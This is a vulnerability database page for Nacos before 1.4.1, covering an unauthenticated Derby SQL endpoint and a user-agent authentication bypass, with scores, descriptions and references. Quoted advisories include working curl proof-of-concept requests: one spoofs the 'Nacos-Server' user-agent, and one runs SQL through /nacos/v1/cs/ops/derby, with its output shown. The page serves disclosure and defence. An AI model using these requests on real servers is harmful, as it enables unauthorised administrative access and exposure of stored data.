8.6high
Authentication bypass
- Severity
- 8.6high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 64.2% (higher than 99% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-36hp-jr8h-556fGHSA-xv5h-v7jh-p2qh
Description
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| alibaba nacos | < 1.4.1, before 1.4.1 | CVE List, NVD |
| com.alibaba.nacos:nacos-common (Maven) | before 1.4.1 | GitHub Advisory Database |
All scores
| GitHub_M | 8.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| GitHub | high rating | |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| NVD | 5.0medium CVSS:2.0 | AV:N/AC:L/Au:N/C:P/I:N/A:N |
Classification
What each source says
CVE List
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
GitHub Advisory Database
When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
The following request to the configuration endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
GitHub Advisory Database
The ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.
For example, the following request will list the tables of the database:
❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'
{"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}%
These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
NVD (es)
Nacos es una plataforma diseñada para el descubrimiento y la configuración dinámica de servicios y la administración de servicios. En Nacos versiones anteriores a 1.4.1, la función ConfigOpsController permite al usuario llevar a cabo operaciones de administración como consultar la base de datos o incluso borrarla. Si bien el endpoint /data/remove está protegido apropiadamente con la anotación @Secured, el endpoint /derby no está protegido y los usuarios no autenticados pueden acceder a él abiertamente. Estos endpoints solo son válidos cuando se usa almacenamiento integrado (derby DB), por lo que este problema no debería afectar las instalaciones que usan almacenamiento externo (por ejemplo, mysql)
References
| https://github.com/alibaba/nacos/issues/4463 | exploit, third-party-advisory, web | |
| https://github.com/advisories/GHSA-36hp-jr8h-556f | advisory, exploit, third-party-advisory | |
| https://github.com/alibaba/nacos/pull/4517 | patch, third-party-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2021-29441 | advisory | |
| https://github.com/alibaba/nacos/issues/4701 | web | |
| https://github.com/alibaba/nacos/pull/4703 | web | |
| https://nvd.nist.gov/vuln/detail/CVE-2021-29442 | advisory | |
Related
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2021-29442 changed 2024-08-03 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-36hp-jr8h-556f changed 2026-07-08 | CC-BY-4.0 |
| GitHub Advisory Database | GHSA-xv5h-v7jh-p2qh changed 2026-07-08 | CC-BY-4.0 |
| NVD | CVE-2021-29442 changed 2026-06-17 | Public domain |